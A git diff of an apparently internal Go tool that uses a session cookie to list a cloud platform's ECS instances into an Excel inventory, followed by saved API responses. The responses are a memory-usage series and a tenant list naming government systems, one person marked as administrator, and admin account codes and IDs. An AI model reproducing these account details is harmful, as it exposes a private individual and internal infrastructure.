sheet.Cell("K" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["osType"].(string)) //系统类型
|
||||
sheet.Cell("L" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["status"].(string)) //运行状态
|
||||
sheet.Cell("M" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["vCpus"].(float64))) + "核") //CPU核心数
|
||||
sheet.Cell("N" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["ram"].(float64))/1024/1024/1024) + "GB") //内存/GB
|
||||
var diskStrsys string
|
||||
var diskStrdata string
|
||||
for _, disk := range ecs.(map[string]interface{})["blockDeviceMappings"].([]interface{}) {
|
||||
if disk.(map[string]interface{})["isOSDisk"] != nil {
|
||||
if condition := disk.(map[string]interface{})["isOSDisk"].(bool); condition == true {
|
||||
diskStrsys += fmt.Sprintf("%sGB/", strconv.Itoa(int(disk.(map[string]interface{})["volumeSize"].(float64)))) //多块系统盘拼接
|
||||
} else {
|
||||
diskStrdata += fmt.Sprintf("%sGB/", strconv.Itoa(int(disk.(map[string]interface{})["volumeSize"].(float64)))) //多块存储盘拼接
|
||||
}
|
||||
} else {
|
||||
diskStrdata += fmt.Sprintf("%sGB/", strconv.Itoa(int(disk.(map[string]interface{})["volumeSize"].(float64)))) //多块存储盘拼接
|
||||
}
|
||||
}
|
||||
sheet.Cell("O" + strconv.Itoa(con)).SetString(diskStrsys) //系统磁盘/GB
|
||||
sheet.Cell("P" + strconv.Itoa(con)).SetString(diskStrdata) //存储磁盘/GB
|
||||
sheet.Cell("Q" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["ipv4Address"].(string)) //宿主机IP
|
||||
sheet.Cell("R" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["macAddress"].(string)) //MAC地址
|
||||
sheet.Cell("S" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["portType"].(string)) //安全组
|
||||
sheet.Cell("T" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["networkType"].(string)) //网络类型
|
||||
sheet.Cell("U" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["eipMappings"].([]interface{})[0].(map[string]interface{})["ipAddress"].(string)) //EIP
|
||||
sheet.Cell("V" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["eipMappings"].([]interface{})[0].(map[string]interface{})["bandwidthInSize"].(float64))) + "/" + strconv.Itoa(int(ecs.(map[string]interface{})["eipMappings"].([]interface{})[0].(map[string]interface{})["bandwidthOutSize"].(float64)))) //带宽大小(入/出)
|
||||
sheet.Cell("W" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["departmentName"].(string)) //部门名称
|
||||
sheet.Cell("X" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["departmentId"].(string)) //部门ID
|
||||
sheet.Cell("Y" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["flavor"].(map[string]interface{})["flavorType"].(map[string]interface{})["name"].(string)) //主机型号
|
||||
sheet.Cell("Z" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["flavor"].(map[string]interface{})["flavorType"].(map[string]interface{})["cpuModel"].(string)) //CPU型号
|
||||
sheet.Cell("AA" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["vcpuType"].(string)) //CPU模式
|
||||
sheet.Cell("AB" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["nodeName"].(string))
|
||||
sheet.Cell("AC" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["cpuExceedRatio"].(float64)))) //cpu超出比率
|
||||
}
|
||||
} else {
|
||||
totalPages := int(math.Floor(data["data"].(map[string]interface{})["totalCount"].(float64))/float64(10) + 1)
|
||||
for i := 0; i < totalPages; i++ {
|
||||
url := "https://user.hlw.dtcloud.com/api/ecs/v1/instances?requestInfo=dtcloud2&pageSize=10&pageNumber=" + strconv.Itoa(i+1) + "&filter=&orderBy=created_at:desc"
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/json",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
ecslistStr := conn.DT_GET(url, header, nil)
|
||||
var data map[string]interface{}
|
||||
err := json.Unmarshal([]byte(ecslistStr), &data)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
for _, ecs := range data["data"].(map[string]interface{})["virtualMachines"].([]interface{}) {
|
||||
log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(len(sheet.Rows()) - 1)) //序号
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["createdAt"].(string)) //创建时间
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["updatedAt"].(string)) //更新时间
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["expiredAt"].(string)) //过期时间
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["ecsId"].(string)) //ECS_ID
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["tenantId"].(string)) //租住ID
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["displayName"].(string)) //显示名称
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["tenantName"].(string)) //租户名称
|
||||
sheet.Cell("I" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["region"].(string) + "/" + ecs.(map[string]interface{})["az"].(string) + "/" + ecs.(map[string]interface{})["cell"].(string)) //所属区域(X/X/X)
|
||||
sheet.Cell("J" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["cpuArch"].(string)) //CPU架构
|
||||
sheet.Cell("K" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["osType"].(string)) //系统类型
|
||||
sheet.Cell("L" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["status"].(string)) //运行状态
|
||||
sheet.Cell("M" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["vCpus"].(float64))) + "核") //CPU核心数
|
||||
sheet.Cell("N" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["ram"].(float64))/1024/1024/1024) + "GB") //内存/GB
|
||||
var diskStrsys string
|
||||
var diskStrdata string
|
||||
for _, disk := range ecs.(map[string]interface{})["blockDeviceMappings"].([]interface{}) {
|
||||
if disk.(map[string]interface{})["isOSDisk"] != nil {
|
||||
if condition := disk.(map[string]interface{})["isOSDisk"].(bool); condition == true {
|
||||
diskStrsys += fmt.Sprintf("%sGB/", strconv.Itoa(int(disk.(map[string]interface{})["volumeSize"].(float64)))) //多块系统盘拼接
|
||||
} else {
|
||||
diskStrdata += fmt.Sprintf("%sGB/", strconv.Itoa(int(disk.(map[string]interface{})["volumeSize"].(float64)))) //多块存储盘拼接
|
||||
}
|
||||
} else {
|
||||
diskStrdata += fmt.Sprintf("%sGB/", strconv.Itoa(int(disk.(map[string]interface{})["volumeSize"].(float64)))) //多块存储盘拼接
|
||||
}
|
||||
}
|
||||
sheet.Cell("O" + strconv.Itoa(con)).SetString(diskStrsys) //系统磁盘/GB
|
||||
sheet.Cell("P" + strconv.Itoa(con)).SetString(diskStrdata) //存储磁盘/GB
|
||||
sheet.Cell("Q" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["ipv4Address"].(string)) //宿主机IP
|
||||
sheet.Cell("R" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["macAddress"].(string)) //MAC地址
|
||||
sheet.Cell("S" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["portType"].(string)) //安全组
|
||||
sheet.Cell("T" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["networkMappings"].([]interface{})[0].(map[string]interface{})["networkType"].(string)) //网络类型
|
||||
sheet.Cell("U" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["eipMappings"].([]interface{})[0].(map[string]interface{})["ipAddress"].(string)) //EIP
|
||||
sheet.Cell("V" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["eipMappings"].([]interface{})[0].(map[string]interface{})["bandwidthInSize"].(float64))) + "/" + strconv.Itoa(int(ecs.(map[string]interface{})["eipMappings"].([]interface{})[0].(map[string]interface{})["bandwidthOutSize"].(float64)))) //带宽大小(入/出)
|
||||
sheet.Cell("W" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["departmentName"].(string)) //部门名称
|
||||
sheet.Cell("X" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["departmentId"].(string)) //部门ID
|
||||
sheet.Cell("Y" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["flavor"].(map[string]interface{})["flavorType"].(map[string]interface{})["name"].(string)) //主机型号
|
||||
sheet.Cell("Z" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["flavor"].(map[string]interface{})["flavorType"].(map[string]interface{})["cpuModel"].(string)) //CPU型号
|
||||
sheet.Cell("AA" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["vcpuType"].(string)) //CPU模式
|
||||
sheet.Cell("AB" + strconv.Itoa(con)).SetString(ecs.(map[string]interface{})["nodeName"].(string))
|
||||
sheet.Cell("AC" + strconv.Itoa(con)).SetString(strconv.Itoa(int(ecs.(map[string]interface{})["cpuExceedRatio"].(float64)))) //cpu超出比率
|
||||
}
|
||||
}
|
||||
}
|
||||
// 保存修改后的 Excel 文件
|
||||
|
||||
if err := ss.Validate(); err != nil {
|
||||
log.Fatalf("验证文件时出错: %s", err)
|
||||
}
|
||||
|
||||
if err := ss.SaveToFile("互联网区-运营平台ECS列表" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".xlsx"); err != nil {
|
||||
log.Fatalf("保存文件时出错: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
// 获取云安全中心csoc实例
|
||||
func CsocList() {
|
||||
json := `{"pageSize":10,"pageNum":1}`
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/json",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
data := conn.DT_POST("https://user.hlw.dtcloud.com/api/soc/v1/instance/page", header, bytes.NewBufferString(json))
|
||||
log.Println(data)
|
||||
}
|
||||
|
||||
//
|
800
dtcloud/memory.json
Normal file
@ -0,0 +1,800 @@
|
||||
{
|
||||
"requestId": "784e9c55-221d-4c77-9d27-61484eac0211",
|
||||
"code": "Success",
|
||||
"message": "调用成功",
|
||||
"data": {
|
||||
"status": "success",
|
||||
"errorType": "",
|
||||
"error": "",
|
||||
"warnings": null,
|
||||
"data": {
|
||||
"resultType": "matrix",
|
||||
"result": [
|
||||
{
|
||||
"metric": {
|
||||
"__name__": "vm_memory_usage",
|
||||
"name": "ecs-l7bokoh5lang31"
|
||||
},
|
||||
"values": [
|
||||
[
|
||||
1741254033.985,
|
||||
"100"
|
||||
],
|
||||
[
|
||||
1741254047.985,
|
||||
"100"
|
||||
],
|
||||
[
|
||||
1741254061.985,
|
||||
"69.39183782341958"
|
||||
],
|
||||
[
|
||||
1741254075.985,
|
||||
"69.39183782341958"
|
||||
],
|
||||
[
|
||||
1741254089.985,
|
||||
"84.19661909842625"
|
||||
],
|
||||
[
|
||||
1741254103.985,
|
||||
"84.19661909842625"
|
||||
],
|
||||
[
|
||||
1741254117.985,
|
||||
"91.60359429181115"
|
||||
],
|
||||
[
|
||||
1741254131.985,
|
||||
"91.60359429181115"
|
||||
],
|
||||
[
|
||||
1741254145.985,
|
||||
"92.57468658308883"
|
||||
],
|
||||
[
|
||||
1741254159.985,
|
||||
"92.57468658308883"
|
||||
],
|
||||
[
|
||||
1741254173.985,
|
||||
"92.57468658308883"
|
||||
],
|
||||
[
|
||||
1741254187.985,
|
||||
"92.26960522806081"
|
||||
],
|
||||
[
|
||||
1741254201.985,
|
||||
"92.26960522806081"
|
||||
],
|
||||
[
|
||||
1741254215.985,
|
||||
"93.06481728460922"
|
||||
],
|
||||
[
|
||||
1741254229.985,
|
||||
"93.06481728460922"
|
||||
],
|
||||
[
|
||||
1741254243.985,
|
||||
"92.84059082421979"
|
||||
],
|
||||
[
|
||||
1741254257.985,
|
||||
"92.84059082421979"
|
||||
],
|
||||
[
|
||||
1741254271.985,
|
||||
"93.02480661509736"
|
||||
],
|
||||
[
|
||||
1741254285.985,
|
||||
"93.02480661509736"
|
||||
],
|
||||
[
|
||||
1741254299.985,
|
||||
"92.98813016804482"
|
||||
],
|
||||
[
|
||||
1741254313.985,
|
||||
"92.98813016804482"
|
||||
],
|
||||
[
|
||||
1741254327.985,
|
||||
"93.07982128567618"
|
||||
],
|
||||
[
|
||||
1741254341.985,
|
||||
"93.07982128567618"
|
||||
],
|
||||
[
|
||||
1741254355.985,
|
||||
"93.0614830621499"
|
||||
],
|
||||
[
|
||||
1741254369.985,
|
||||
"93.0614830621499"
|
||||
],
|
||||
[
|
||||
1741254383.985,
|
||||
"93.0614830621499"
|
||||
],
|
||||
[
|
||||
1741254397.985,
|
||||
"93.68081488396905"
|
||||
],
|
||||
[
|
||||
1741254411.985,
|
||||
"93.68081488396905"
|
||||
],
|
||||
[
|
||||
1741254425.985,
|
||||
"93.46825820218724"
|
||||
],
|
||||
[
|
||||
1741254439.985,
|
||||
"93.46825820218724"
|
||||
],
|
||||
[
|
||||
1741254453.985,
|
||||
"93.58745665510803"
|
||||
],
|
||||
[
|
||||
1741254467.985,
|
||||
"93.58745665510803"
|
||||
],
|
||||
[
|
||||
1741254481.985,
|
||||
"93.59995998933049"
|
||||
],
|
||||
[
|
||||
1741254495.985,
|
||||
"93.59995998933049"
|
||||
],
|
||||
[
|
||||
1741254509.985,
|
||||
"93.38406908508937"
|
||||
],
|
||||
[
|
||||
1741254523.985,
|
||||
"93.38406908508937"
|
||||
],
|
||||
[
|
||||
1741254537.985,
|
||||
"93.55244731928515"
|
||||
],
|
||||
[
|
||||
1741254551.985,
|
||||
"93.55244731928515"
|
||||
],
|
||||
[
|
||||
1741254565.985,
|
||||
"93.05148039477193"
|
||||
],
|
||||
[
|
||||
1741254579.985,
|
||||
"93.05148039477193"
|
||||
],
|
||||
[
|
||||
1741254593.985,
|
||||
"93.05148039477193"
|
||||
],
|
||||
[
|
||||
1741254607.985,
|
||||
"93.38573619631902"
|
||||
],
|
||||
[
|
||||
1741254621.985,
|
||||
"93.38573619631902"
|
||||
],
|
||||
[
|
||||
1741254635.985,
|
||||
"92.88893704987997"
|
||||
],
|
||||
[
|
||||
1741254649.985,
|
||||
"92.88893704987997"
|
||||
],
|
||||
[
|
||||
1741254663.985,
|
||||
"93.89003734329154"
|
||||
],
|
||||
[
|
||||
1741254677.985,
|
||||
"93.89003734329154"
|
||||
],
|
||||
[
|
||||
1741254691.985,
|
||||
"93.51827153907709"
|
||||
],
|
||||
[
|
||||
1741254705.985,
|
||||
"93.51827153907709"
|
||||
],
|
||||
[
|
||||
1741254719.985,
|
||||
"94.86779807948787"
|
||||
],
|
||||
[
|
||||
1741254733.985,
|
||||
"94.86779807948787"
|
||||
],
|
||||
[
|
||||
1741254747.985,
|
||||
"93.12316617764738"
|
||||
],
|
||||
[
|
||||
1741254761.985,
|
||||
"93.12316617764738"
|
||||
],
|
||||
[
|
||||
1741254775.985,
|
||||
"93.89753934382502"
|
||||
],
|
||||
[
|
||||
1741254789.985,
|
||||
"93.89753934382502"
|
||||
],
|
||||
[
|
||||
1741254803.985,
|
||||
"93.89753934382502"
|
||||
],
|
||||
[
|
||||
1741254817.985,
|
||||
"93.55161376367032"
|
||||
],
|
||||
[
|
||||
1741254831.985,
|
||||
"93.55161376367032"
|
||||
],
|
||||
[
|
||||
1741254845.985,
|
||||
"93.66414377167244"
|
||||
],
|
||||
[
|
||||
1741254859.985,
|
||||
"93.66414377167244"
|
||||
],
|
||||
[
|
||||
1741254873.985,
|
||||
"94.11926513736996"
|
||||
],
|
||||
[
|
||||
1741254887.985,
|
||||
"94.11926513736996"
|
||||
],
|
||||
[
|
||||
1741254901.985,
|
||||
"93.92838090157375"
|
||||
],
|
||||
[
|
||||
1741254915.985,
|
||||
"93.92838090157375"
|
||||
],
|
||||
[
|
||||
1741254929.985,
|
||||
"93.4232461989864"
|
||||
],
|
||||
[
|
||||
1741254943.985,
|
||||
"93.4232461989864"
|
||||
],
|
||||
[
|
||||
1741254957.985,
|
||||
"94.35766204321152"
|
||||
],
|
||||
[
|
||||
1741254971.985,
|
||||
"94.35766204321152"
|
||||
],
|
||||
[
|
||||
1741254985.985,
|
||||
"94.02257268604961"
|
||||
],
|
||||
[
|
||||
1741254999.985,
|
||||
"94.02257268604961"
|
||||
],
|
||||
[
|
||||
1741255013.985,
|
||||
"94.02257268604961"
|
||||
],
|
||||
[
|
||||
1741255027.985,
|
||||
"93.59579221125634"
|
||||
],
|
||||
[
|
||||
1741255041.985,
|
||||
"93.59579221125634"
|
||||
],
|
||||
[
|
||||
1741255055.985,
|
||||
"93.23069485196052"
|
||||
],
|
||||
[
|
||||
1741255069.985,
|
||||
"93.23069485196052"
|
||||
],
|
||||
[
|
||||
1741255083.985,
|
||||
"93.89253801013604"
|
||||
],
|
||||
[
|
||||
1741255097.985,
|
||||
"93.89253801013604"
|
||||
],
|
||||
[
|
||||
1741255111.985,
|
||||
"93.2356961856495"
|
||||
],
|
||||
[
|
||||
1741255125.985,
|
||||
"93.2356961856495"
|
||||
],
|
||||
[
|
||||
1741255139.985,
|
||||
"93.92588023472926"
|
||||
],
|
||||
[
|
||||
1741255153.985,
|
||||
"93.92588023472926"
|
||||
],
|
||||
[
|
||||
1741255167.985,
|
||||
"93.5024339823953"
|
||||
],
|
||||
[
|
||||
1741255181.985,
|
||||
"93.5024339823953"
|
||||
],
|
||||
[
|
||||
1741255195.985,
|
||||
"95.37543344891971"
|
||||
],
|
||||
[
|
||||
1741255209.985,
|
||||
"95.37543344891971"
|
||||
],
|
||||
[
|
||||
1741255223.985,
|
||||
"95.37543344891971"
|
||||
],
|
||||
[
|
||||
1741255237.985,
|
||||
"93.42908108829022"
|
||||
],
|
||||
[
|
||||
1741255251.985,
|
||||
"93.42908108829022"
|
||||
],
|
||||
[
|
||||
1741255293.985,
|
||||
"94.22512670045346"
|
||||
],
|
||||
[
|
||||
1741255307.985,
|
||||
"94.22512670045346"
|
||||
],
|
||||
[
|
||||
1741255321.985,
|
||||
"94.83278874366498"
|
||||
],
|
||||
[
|
||||
1741255335.985,
|
||||
"94.83278874366498"
|
||||
],
|
||||
[
|
||||
1741255349.985,
|
||||
"95.52463990397439"
|
||||
],
|
||||
[
|
||||
1741255363.985,
|
||||
"95.52463990397439"
|
||||
],
|
||||
[
|
||||
1741255475.985,
|
||||
"97.36846492397973"
|
||||
],
|
||||
[
|
||||
1741255489.985,
|
||||
"97.36846492397973"
|
||||
],
|
||||
[
|
||||
1741255503.985,
|
||||
"95.75303414243798"
|
||||
],
|
||||
[
|
||||
1741255517.985,
|
||||
"95.75303414243798"
|
||||
],
|
||||
[
|
||||
1741255531.985,
|
||||
"94.30348092824752"
|
||||
],
|
||||
[
|
||||
1741255545.985,
|
||||
"94.30348092824752"
|
||||
],
|
||||
[
|
||||
1741255559.985,
|
||||
"94.88863696985862"
|
||||
],
|
||||
[
|
||||
1741255573.985,
|
||||
"94.88863696985862"
|
||||
],
|
||||
[
|
||||
1741255587.985,
|
||||
"94.16261002934115"
|
||||
],
|
||||
[
|
||||
1741255601.985,
|
||||
"94.16261002934115"
|
||||
],
|
||||
[
|
||||
1741255615.985,
|
||||
"94.71192317951453"
|
||||
],
|
||||
[
|
||||
1741255629.985,
|
||||
"94.71192317951453"
|
||||
],
|
||||
[
|
||||
1741255643.985,
|
||||
"94.71192317951453"
|
||||
],
|
||||
[
|
||||
1741255657.985,
|
||||
"95.64800613496932"
|
||||
],
|
||||
[
|
||||
1741255671.985,
|
||||
"95.64800613496932"
|
||||
],
|
||||
[
|
||||
1741255685.985,
|
||||
"95.68551613763671"
|
||||
],
|
||||
[
|
||||
1741255699.985,
|
||||
"95.68551613763671"
|
||||
],
|
||||
[
|
||||
1741255713.985,
|
||||
"98.051146972526"
|
||||
],
|
||||
[
|
||||
1741255727.985,
|
||||
"98.051146972526"
|
||||
],
|
||||
[
|
||||
1741255741.985,
|
||||
"94.61439717257936"
|
||||
],
|
||||
[
|
||||
1741255755.985,
|
||||
"94.61439717257936"
|
||||
],
|
||||
[
|
||||
1741255769.985,
|
||||
"93.58745665510803"
|
||||
],
|
||||
[
|
||||
1741255783.985,
|
||||
"93.58745665510803"
|
||||
],
|
||||
[
|
||||
1741255797.985,
|
||||
"93.8917044545212"
|
||||
],
|
||||
[
|
||||
1741255811.985,
|
||||
"93.8917044545212"
|
||||
],
|
||||
[
|
||||
1741255825.985,
|
||||
"94.09509202453987"
|
||||
],
|
||||
[
|
||||
1741255839.985,
|
||||
"94.09509202453987"
|
||||
],
|
||||
[
|
||||
1741255853.985,
|
||||
"94.09509202453987"
|
||||
],
|
||||
[
|
||||
1741255867.985,
|
||||
"95.2712389970659"
|
||||
],
|
||||
[
|
||||
1741255881.985,
|
||||
"95.2712389970659"
|
||||
],
|
||||
[
|
||||
1741255895.985,
|
||||
"95.87139903974393"
|
||||
],
|
||||
[
|
||||
1741255909.985,
|
||||
"95.87139903974393"
|
||||
],
|
||||
[
|
||||
1741255923.985,
|
||||
"94.33098826353694"
|
||||
],
|
||||
[
|
||||
1741255937.985,
|
||||
"94.33098826353694"
|
||||
],
|
||||
[
|
||||
1741255979.985,
|
||||
"96.59325820218724"
|
||||
],
|
||||
[
|
||||
1741255993.985,
|
||||
"96.59325820218724"
|
||||
],
|
||||
[
|
||||
1741256007.985,
|
||||
"96.35986263003467"
|
||||
],
|
||||
[
|
||||
1741256021.985,
|
||||
"96.35986263003467"
|
||||
],
|
||||
[
|
||||
1741256035.985,
|
||||
"95.03117497999467"
|
||||
],
|
||||
[
|
||||
1741256049.985,
|
||||
"95.03117497999467"
|
||||
],
|
||||
[
|
||||
1741256063.985,
|
||||
"95.03117497999467"
|
||||
],
|
||||
[
|
||||
1741256077.985,
|
||||
"97.71522405974926"
|
||||
],
|
||||
[
|
||||
1741256091.985,
|
||||
"97.71522405974926"
|
||||
],
|
||||
[
|
||||
1741256217.985,
|
||||
"98.2386969858629"
|
||||
],
|
||||
[
|
||||
1741256231.985,
|
||||
"98.2386969858629"
|
||||
],
|
||||
[
|
||||
1741256245.985,
|
||||
"98.2386969858629"
|
||||
],
|
||||
[
|
||||
1741256259.985,
|
||||
"98.2386969858629"
|
||||
],
|
||||
[
|
||||
1741256273.985,
|
||||
"98.2386969858629"
|
||||
],
|
||||
[
|
||||
1741256315.985,
|
||||
"98.73049479861297"
|
||||
],
|
||||
[
|
||||
1741256329.985,
|
||||
"98.73049479861297"
|
||||
],
|
||||
[
|
||||
1741256343.985,
|
||||
"93.58245532141905"
|
||||
],
|
||||
[
|
||||
1741256357.985,
|
||||
"93.58245532141905"
|
||||
],
|
||||
[
|
||||
1741256371.985,
|
||||
"94.20678847692719"
|
||||
],
|
||||
[
|
||||
1741256385.985,
|
||||
"94.20678847692719"
|
||||
],
|
||||
[
|
||||
1741256399.985,
|
||||
"94.07508668978394"
|
||||
],
|
||||
[
|
||||
1741256413.985,
|
||||
"94.07508668978394"
|
||||
],
|
||||
[
|
||||
1741256427.985,
|
||||
"94.07508668978394"
|
||||
],
|
||||
[
|
||||
1741256441.985,
|
||||
"94.07508668978394"
|
||||
],
|
||||
[
|
||||
1741256455.985,
|
||||
"96.466557748733"
|
||||
],
|
||||
[
|
||||
1741256469.985,
|
||||
"96.466557748733"
|
||||
],
|
||||
[
|
||||
1741256483.985,
|
||||
"96.466557748733"
|
||||
],
|
||||
[
|
||||
1741256497.985,
|
||||
"96.48156174979995"
|
||||
],
|
||||
[
|
||||
1741256511.985,
|
||||
"96.48156174979995"
|
||||
],
|
||||
[
|
||||
1741256609.985,
|
||||
"97.52433982395306"
|
||||
],
|
||||
[
|
||||
1741256623.985,
|
||||
"97.52433982395306"
|
||||
],
|
||||
[
|
||||
1741256707.985,
|
||||
"97.63020138703654"
|
||||
],
|
||||
[
|
||||
1741256721.985,
|
||||
"97.63020138703654"
|
||||
],
|
||||
[
|
||||
1741256735.985,
|
||||
"96.69245132035209"
|
||||
],
|
||||
[
|
||||
1741256749.985,
|
||||
"96.69245132035209"
|
||||
],
|
||||
[
|
||||
1741256847.985,
|
||||
"97.61102960789543"
|
||||
],
|
||||
[
|
||||
1741256861.985,
|
||||
"97.61102960789543"
|
||||
],
|
||||
[
|
||||
1741256875.985,
|
||||
"97.61102960789543"
|
||||
],
|
||||
[
|
||||
1741256889.985,
|
||||
"97.61102960789543"
|
||||
],
|
||||
[
|
||||
1741256903.985,
|
||||
"97.61102960789543"
|
||||
],
|
||||
[
|
||||
1741256917.985,
|
||||
"95.31708455588156"
|
||||
],
|
||||
[
|
||||
1741256931.985,
|
||||
"95.31708455588156"
|
||||
],
|
||||
[
|
||||
1741256945.985,
|
||||
"96.93418244865298"
|
||||
],
|
||||
[
|
||||
1741256959.985,
|
||||
"96.93418244865298"
|
||||
],
|
||||
[
|
||||
1741256973.985,
|
||||
"97.59769271805816"
|
||||
],
|
||||
[
|
||||
1741256987.985,
|
||||
"97.59769271805816"
|
||||
],
|
||||
[
|
||||
1741257029.985,
|
||||
"97.05421445718858"
|
||||
],
|
||||
[
|
||||
1741257043.985,
|
||||
"97.05421445718858"
|
||||
],
|
||||
[
|
||||
1741257085.985,
|
||||
"98.17784742598026"
|
||||
],
|
||||
[
|
||||
1741257099.985,
|
||||
"98.17784742598026"
|
||||
],
|
||||
[
|
||||
1741257113.985,
|
||||
"98.17784742598026"
|
||||
],
|
||||
[
|
||||
1741257155.985,
|
||||
"95.9030741531075"
|
||||
],
|
||||
[
|
||||
1741257169.985,
|
||||
"95.9030741531075"
|
||||
],
|
||||
[
|
||||
1741257211.985,
|
||||
"96.91251000266737"
|
||||
],
|
||||
[
|
||||
1741257225.985,
|
||||
"96.91251000266737"
|
||||
],
|
||||
[
|
||||
1741257239.985,
|
||||
"97.36679781275008"
|
||||
],
|
||||
[
|
||||
1741257253.985,
|
||||
"97.36679781275008"
|
||||
],
|
||||
[
|
||||
1741257295.985,
|
||||
"99.12810082688716"
|
||||
],
|
||||
[
|
||||
1741257309.985,
|
||||
"99.12810082688716"
|
||||
],
|
||||
[
|
||||
1741257323.985,
|
||||
"99.12810082688716"
|
||||
],
|
||||
[
|
||||
1741257365.985,
|
||||
"98.9247132568685"
|
||||
],
|
||||
[
|
||||
1741257379.985,
|
||||
"98.9247132568685"
|
||||
],
|
||||
[
|
||||
1741257421.985,
|
||||
"98.6854827954121"
|
||||
],
|
||||
[
|
||||
1741257435.985,
|
||||
"98.6854827954121"
|
||||
],
|
||||
[
|
||||
1741257449.985,
|
||||
"99.9891637770072"
|
||||
],
|
||||
[
|
||||
1741257463.985,
|
||||
"99.9891637770072"
|
||||
]
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
295
dtcloud/pid.json
Normal file
193
dtcloud/user.json
Normal file
@ -0,0 +1,193 @@
|
||||
{
|
||||
"requestId": "d9111bf5-e6bb-4016-b08a-70985b165dae",
|
||||
"code": "Success",
|
||||
"message": "",
|
||||
"data": {
|
||||
"size": 10,
|
||||
"current": 1,
|
||||
"total": 22,
|
||||
"totalPage": 3,
|
||||
"list": [
|
||||
{
|
||||
"id": "1937897449892872282",
|
||||
"tenantName": "司法局督办系统",
|
||||
"remark": "",
|
||||
"createTime": "1740036884000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwsfdb",
|
||||
"userAdminId": "1937897449892872284",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1935344323763634263",
|
||||
"tenantName": "煤矿安全风险监测预警系统",
|
||||
"remark": "",
|
||||
"createTime": "1739442439000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "zwwmkaj",
|
||||
"userAdminId": "1935344323763634265",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
|
||||
{
|
||||
"id": "1933362020262871124",
|
||||
"tenantName": "李超",
|
||||
"remark": "管理员",
|
||||
"createTime": "1738980898000",
|
||||
"creator": "useradmin",
|
||||
"useStatus": 0,
|
||||
"isParentTenant": 0,
|
||||
"isIdentity": 0,
|
||||
"enterpriseName": "",
|
||||
"creditCode": "",
|
||||
"isEnterpriseOn": 0,
|
||||
"userAdminCode": "licc",
|
||||
"userAdminId": "1933362020262871126",
|
||||
"isEnterpriseHaveMain": "0",
|
||||
"dedicatePlatformCode": "",
|
||||
"dedicatePlatformName": ""
|
||||
},
